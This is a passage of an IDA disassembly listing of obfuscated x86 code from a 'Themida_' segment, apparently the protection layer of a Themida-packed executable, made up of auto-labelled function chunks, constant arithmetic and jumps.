; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5ACC17:				; CODE XREF: sub_5A141E+79ABj
		jmp	loc_5AEB61
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5ACC1C:				; CODE XREF: sub_5A91EC+1j
		push	edi
		push	ebx
		push	eax
		mov	eax, 36841093h
		jmp	loc_5AA4A7
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5ACC29:				; CODE XREF: sub_5AB72D-5873j
		pop	edx
		push	eax
		mov	eax, 2
		sub	ebx, 64D04B44h
		add	ebx, eax
		push	ecx
		push	esi
		jmp	loc_5A5EDD
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5ACC3F:				; CODE XREF: sub_5A728F-2E8Dj
		sub	eax, 188827BBh
		jno	loc_5AA834
		add	eax, 4FA68C30h
		mov	ebp, eax
		pop	eax
		sub	esi, ebp
		pop	ebp
		mov	bl, 19h


loc_5ACC57:				; CODE XREF: sub_599526+C7ADj
		sub	ebp, 6C1235B9h
		add	ebp, ecx
		push	ebx
		jmp	loc_59A45A
; END OF FUNCTION CHUNK	FOR sub_5A728F

; =============== S U B	R O U T	I N E =======================================



sub_5ACC65	proc near		; CODE XREF: sub_5AE0B5-3DC7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059BE91 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2C65 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A9345 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AB4D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AF110 SIZE 0000000C BYTES

		push	ebp
		push	959190A2h
		jmp	loc_5AB4D8
sub_5ACC65	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ACC70:				; CODE XREF: sub_5AC95F-718j
		xor	eax, 0C48B936Ah
		sub	ebp, eax
		pop	eax
		sub	ebp, 0FC31634h
		push	[esp+0Ch+var_C]
		pop	esi
		push	7915h
		mov	[esp+10h+var_10], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 625F5D2Ah
		inc	edx
		xor	edx, 625F5D2Fh
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	eax
		jmp	loc_5AC26F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5ACCAE:				; CODE XREF: Themida_:005AB67Ej
		push	6C037121h
		pop	ecx
		jmp	loc_5AC79F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5ACCB9:				; CODE XREF: sub_5A3F42-AC10j
		push	dword ptr [esp+4]
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5981A7
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5F8D


loc_5ACCCB:				; CODE XREF: sub_5A5F8D+67B6j
		jmp	loc_5AC095
; END OF FUNCTION CHUNK	FOR sub_5A5F8D
; ---------------------------------------------------------------------------


loc_5ACCD0:				; CODE XREF: Themida_:005AE3FAj
		push	esi
		mov	esi, 6C8048FFh
		sub	esp, 4
		jmp	loc_5ADD22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5ACCDE:				; CODE XREF: sub_5A1340-95CFj
		mov	edx, [esp-8+arg_2+2]
		push	ebp
		jmp	loc_5A917C
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5ACCE7:				; CODE XREF: sub_5A600F+1034j
		add	edx, eax
		sub	edx, 2C4E6A89h
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_A+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59D978
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5ACD03:				; CODE XREF: sub_5AC402-8A7Fj
		sub	edx, 65D1BB9h
		add	edx, edi
		add	edx, 65D1BB9h
		pop	edi
		xchg	edx, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5AD2F1
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5ACD20:				; CODE XREF: sub_598462:loc_5989E6j
		shr	al, 6
		neg	al
		jg	loc_5AF16F
		xor	al, 0FFh
		mov	ch, al
		jmp	loc_598695
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5ACD34:				; CODE XREF: sub_597F0C+FFD5j
		add	[esp+4+var_4], 4
		pop	edi
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 4
		jmp	loc_5A9F60
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5ACD4C:				; CODE XREF: sub_597F0C+46C0j
					; sub_5A728F-8631j
		pop	ecx
		pop	edi
		inc	edi
		xchg	edi, ecx
		xor	ecx, 5C8D4AA8h
		push	6688h
		mov	[esp+8+var_8], ebx
		jmp	loc_59D0AC
; END OF FUNCTION CHUNK	FOR sub_5A728F

; =============== S U B	R O U T	I N E =======================================



sub_5ACD64	proc near		; CODE XREF: sub_5AC95F-B6AEj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00597F6B SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00598798 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599593 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00599767 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059982F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059A04D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A57C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059B0CC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B1E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B215 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059CD84 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CECB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D506 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059DF77 SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0059E068 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059E0D9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059EFF9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A000D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1144 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1154 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1E54 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2300 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2B32 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A2C0D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2F77 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3190 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A3E3C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A41F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A457E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A4911 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A4EBB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A507A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5984 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5AEE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A61F4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6F07 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A7232 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A7250 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7814 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A8C66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8DFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A90B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A9205 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9246 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A9C3F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A9D66 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9E24 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AA20D SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005AA731 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AAA3E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AAE8D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB369 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AB454 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB6BE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005ABEFF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC0D7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACE68 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD6E3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005ADA47 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005ADAF2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ADFC7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AE1C7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AEDD8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AEF68 SIZE 00000033 BYTES

		push	ebp
		mov	ebp, 3320562Eh
		push	ebp
		dec	[esp+4+var_4]
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		sub	ebp, 136663DEh
		sub	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		sub	ebx, eax
		pop	eax
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		jmp	loc_5A2300
sub_5ACD64	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A594B


loc_5ACD92:				; CODE XREF: sub_5A594B-993Cj
		and	ebx, esi
		mov	esi, [esp+0]
		add	esp, 4
		inc	ebx
		dec	ebx
		and	ebx, 419F3ED8h
		xor	ebx, 0FBBB50B5h
		xor	edi, ebx
		pop	ebx
		xor	esi, edi
		pop	edi
		jmp	loc_59AE41
; END OF FUNCTION CHUNK	FOR sub_5A594B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5ACDB6:				; CODE XREF: sub_599059+BA6Aj
		shl	edi, 4
		shr	edi, 2
		sub	edi, 3EC94C9Ah
		neg	edi
		add	edi, 45C80AABh
		sub	edi, 2188B102h
		or	ebx, edi
		jmp	loc_599028
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5ACDD7:				; CODE XREF: Themida_:005A13C6j
		shr	esi, 2
		xor	esi, 2062640Dh
		inc	esi
		not	esi
		push	ecx
		mov	ecx, 8784F581h
		sub	esi, ecx
		jmp	loc_59B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5ACDF0:				; CODE XREF: sub_5A1B2A+B633j
		mov	esi, 23D9408Eh
		jmp	loc_59EF8E
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5ACDFA:				; CODE XREF: sub_5A8C33+4941j
		push	5B9Ch
		jmp	loc_59D1AF
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5ACE04:				; CODE XREF: sub_59CA4A-2DB6j
		add	edx, 0C763FD0h
		push	ebx
		mov	ebx, 76981840h
		sub	edx, 50924881h
		jmp	loc_599D15
; END OF FUNCTION CHUNK	FOR sub_59CA4A

; =============== S U B	R O U T	I N E =======================================



sub_5ACE1B	proc near		; DATA XREF: Themida_:00597918o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+0], cl
		pushf
		jmp	loc_597B5F
sub_5ACE1B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5ACE2A:				; CODE XREF: sub_5ABA9B-A828j
		or	ebx, 70BA4C72h
		jmp	loc_59BBB3
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5ACE35:				; CODE XREF: sub_59D7E7+FFFAj
		mov	esi, edi
		pop	edi
		jmp	loc_599E86
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5ACE3D:				; CODE XREF: sub_59ACEC+6932j
		sub	edx, 43BF5C58h
		sub	edx, esi
		jmp	loc_5AB2A5
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5ACE4A:				; CODE XREF: sub_5A94F5-84Aj
		push	dword ptr [esp+0]
		jmp	loc_5A875A
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------


loc_5ACE52:				; CODE XREF: Themida_:005A030Cj
		add	edx, ebp
		jmp	loc_59B248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ACE59:				; CODE XREF: sub_59B707+88ADj
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_59B0FA
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5ACE68:				; CODE XREF: sub_5ACD64-5B31j
		mov	dl, 18h
		or	dl, 0DFh
		jmp	sub_599526
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5ACE72:				; CODE XREF: sub_599059+4FC6j
		jmp	loc_5A31CF
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5ACE77:				; CODE XREF: sub_5A7343-F1B5j
		sub	ebx, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		sub	ebx, eax
		jmp	loc_5A24A0
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5ACE89:				; CODE XREF: sub_59D99C:loc_5A6DACj
		xor	dx, 0FD2h
		mov	bp, dx
		pop	edx
		add	ax, bp
		pop	bp
		jmp	loc_5A4AFC
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5ACE9C:				; CODE XREF: sub_5AB98B-24D2j
		sub	esi, 66287197h
		mov	edi, esi
		pop	esi
		jmp	loc_5A6A28
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------


loc_5ACEAA:				; CODE XREF: Themida_:005ACB9Fj
		push	dword ptr [esp]
		jmp	loc_5AB350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_5ACEB2:				; CODE XREF: sub_5ADDCC+27j
		add	eax, 59A367FFh
		push	[esp+4+var_4]
		pop	esi
		jmp	loc_5A87FC
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ACEC0:				; CODE XREF: sub_59B707+979Bj
		xor	edx, 1FA62BCBh
		jb	loc_5A8B86
		push	116Ch
		mov	[esp-8+arg_2+2], eax
		mov	eax, 58F0AD7h
		push	0
		jmp	loc_5A4876
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5ACEE3:				; CODE XREF: sub_5ABE52-D404j
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		jmp	loc_5AD1A8
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------


loc_5ACEF3:				; CODE XREF: Themida_:0059BDF2j
		sub	esi, 3A3A4E16h
		add	esi, 7DF5142Dh
		add	esi, eax
		sub	esi, 7DF5142Dh
		add	esi, 3A3A4E16h
		pop	eax
		jmp	loc_5A2A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5ACF13:				; CODE XREF: sub_599721+4F6Dj
		pop	ebp
		sub	esi, 3CCE7483h
		add	esi, eax
		add	esi, 3CCE7483h
		pop	eax
		sub	esi, 4
		jmp	loc_5AD62A
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5ACF2B:				; CODE XREF: sub_59EB21-317Ej
		not	ecx
		xchg	ecx, esi
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		sub	esp, 4
		jmp	loc_5AB95A
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------


loc_5ACF3D:				; CODE XREF: Themida_:005ACAB3j
		mov	ebx, 5A2C1993h
		dec	ebx
		jmp	loc_5A33D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ACF48:				; CODE XREF: sub_59B707+454j
		mov	ah, 9Ah
		mov	bl, ah
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		mov	ch, 0E2h
		sub	ch, bl
		push	[esp+4+var_4]
		mov	ebx, [esp+8+var_8]
		push	esi
		jmp	loc_5A1563
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5ACF63:				; CODE XREF: Themida_:005A93A9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A6C1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5ACF6E:				; CODE XREF: sub_598D67+106Cj
		xchg	eax, [esp-8+arg_4]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A0BD3
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------


loc_5ACF80:				; CODE XREF: Themida_:0059EE1Fj
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5ACF8D:				; CODE XREF: Themida_:0059A220j
		push	5EE93415h
		pop	eax
		jmp	loc_599543
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ACF98:				; CODE XREF: sub_5AC95F-1D0Dj
		push	esi
		jmp	loc_5A725B
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5ACF9E:				; CODE XREF: Themida_:005A7D2Bj
		push	edi
		push	eax
		push	535B58DFh
		pop	eax
		jmp	loc_5AF0FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A24F4


loc_5ACFAB:				; CODE XREF: sub_5A24F4+596Fj
		or	esi, 6C451D82h
		sub	esi, 921BDDCCh
		sub	ecx, esi
		pop	esi
		pop	eax
		mov	edi, [esp+8+var_8]
		add	esp, 4
		push	ecx
		push	[esp+8+var_4]
		pop	ecx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], eax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A24F4
; ---------------------------------------------------------------------------


loc_5ACFD8:				; CODE XREF: Themida_:005ABF27j
		pop	eax
		push	ebp
		mov	ebp, 7E54071h
		jmp	loc_5986B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5ACFE4:				; CODE XREF: sub_5A728F-1043j
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp+4+var_4]
		jmp	loc_5A634A
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------


loc_5ACFF4:				; CODE XREF: Themida_:loc_5A7C27j
		dec	ecx
		push	esi
		jmp	loc_5A6F45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5ACFFB:				; CODE XREF: sub_5A17D6+D906j
		mov	edx, 29935176h
		push	edx
		mov	edi, [esp+1Ch+var_1C]
		push	ecx
		jmp	loc_5A586F
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------


loc_5AD00A:				; CODE XREF: Themida_:005A2EC3j
		and	eax, 475103D5h
		jb	loc_5AA1F8
		or	eax, 503E3507h
		jb	loc_5ADF40
		and	eax, 17626CF4h
		jmp	loc_59A84F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AD02A:				; CODE XREF: sub_5AEE2E-A85Aj
		add	esp, 4
		pop	edx
		push	ebx
		jmp	loc_5AB192
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AD037:				; CODE XREF: sub_5A7343-F106j
		not	dl
		xchg	bh, dl
		sub	bh, 0FFh
		jmp	loc_59CBC3
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5AD043:				; CODE XREF: sub_5ADE3B+933j
		or	dh, 0A5h
		jmp	loc_5A44DA
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------


loc_5AD04B:				; CODE XREF: Themida_:0059E3F5j
		mov	esi, 334F1487h
		shr	esi, 7
		jns	loc_59A9CF
		xor	esi, 669E2Dh
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		mov	ebx, ebx
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5AD067:				; CODE XREF: sub_59EE40+34FBj
		xor	al, bh
		jmp	loc_59CB28
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AFAC


loc_5AD06E:				; CODE XREF: sub_59AFAC+1F84j
		add	esp, 4
		mov	ecx, [esp-4+arg_0]
		jmp	loc_5A1EB9
; END OF FUNCTION CHUNK	FOR sub_59AFAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B333


loc_5AD07C:				; CODE XREF: sub_59B333+10F7Cj
		mov	edx, 59A3762Dh
		shl	edx, 3
		shr	edx, 2
		push	ecx
		mov	ecx, 2D253145h
		push	edx
		mov	edx, 1EC36C00h
		shl	edx, 5
		jmp	loc_5A81A1
; END OF FUNCTION CHUNK	FOR sub_59B333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5AD09B:				; CODE XREF: sub_5A728F-F33j
		neg	ebx
		neg	ebx
		not	ebx
		and	ebx, 53865EB9h
		neg	ebx
		add	ebx, 50844C8Dh
		jmp	loc_5A2D73
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AD0B4:				; CODE XREF: sub_599059+8A36j
		sub	edi, 6C430DDBh
		pop	ebx
		push	edx
		mov	edx, 5B455C5Eh
		and	edx, 4C470662h
		jge	loc_59B5C0
		shr	edx, 7
		jz	loc_5A1EAE
		jmp	loc_59D0F3
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AD0DB:				; CODE XREF: sub_598D16:loc_59FD3Bj
					; sub_5A7343-72Dj
		add	ebx, 5C537685h
		jo	loc_59A708
		shr	ebx, 3
		shr	ebx, 8
		jmp	loc_5A0821
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_5AD0F2:				; CODE XREF: Themida_:0059BEAAj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59B67B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AD103:				; CODE XREF: sub_59A932+6C14j
		shl	edx, 7
		jp	loc_59CFA0
		add	edx, 84F7A3BBh
		mov	edi, edx
		and	al, 22h
		sub	al, 1


loc_5AD118:				; CODE XREF: Themida_:005A0869j
		pop	eax
		push	4763h
		mov	[esp+10h+var_10], esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_5AEC1A
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_5AD129:				; CODE XREF: Themida_:005A80CEj
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 629D15CAh
		sub	eax, 1AD91EB4h
		add	eax, 5DEBE540h
		jmp	loc_5A4096
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AD146:				; CODE XREF: sub_5A1B2A+6514j
					; sub_59D99C+110D5j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ecx
		xor	ecx, [esp+0Ah+var_C+2]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	esi
		jmp	loc_5ACDF0
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AD162:				; CODE XREF: sub_5A8C33-1505j
		xchg	eax, [esp+10h+var_10]
		pop	esp
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		push	628Eh
		mov	[esp+14h+var_14], eax
		push	edx
		push	537B334Ch
		pop	edx
		neg	edx
		jz	loc_5A0E22
		jmp	loc_5AC057
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AD188:				; CODE XREF: sub_5A8D43-33Dj
		pop	eax
		add	esi, 4
		xor	esi, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], esi
		xor	esi, [esp+0Ah+var_C+2]
		jmp	loc_5A61BC
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AD19D:				; CODE XREF: sub_599059+B4CDj
		xor	edi, [esp-0Eh+arg_A]
		xor	[esp-0Eh+arg_A], edi
		jmp	loc_59C755
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5AD1A8:				; CODE XREF: sub_5ABE52+109Cj
		push	5C835F5Ch
		pop	ebp
		sub	ebp, 0F4A9FAF6h
		jmp	loc_5A8D1B
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD830


loc_5AD1B9:				; CODE XREF: sub_5AD830+9j
		jnp	loc_5AB1D7
		sub	ebx, 0C73A52C5h
		and	ebx, 5FBE66E7h
		shl	ebx, 2
		jmp	loc_59FB2A
; END OF FUNCTION CHUNK	FOR sub_5AD830
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD1D3:				; CODE XREF: sub_59D99C+2EF9j
		push	esi
		jmp	loc_59A05A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5AD1D9:				; CODE XREF: sub_5ABA9B-11C7Aj
		push	edx
		jmp	loc_5AC701
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5AD1DF:				; CODE XREF: sub_5A438E+3B12j
		push	edx
		mov	edx, 27B21DF6h
		sub	edx, 0E7E3DE71h
		mov	ebx, edx
		pop	edx
		jmp	loc_5AECBA
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------


loc_5AD1F3:				; CODE XREF: Themida_:0059FA00j
		pop	ebp
		jmp	loc_5AE69B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5AD1F9:				; CODE XREF: sub_5A34FD+359Fj
		mov	ecx, [esp+4+var_4]
		jmp	loc_5A40DC
; END OF FUNCTION CHUNK	FOR sub_5A34FD
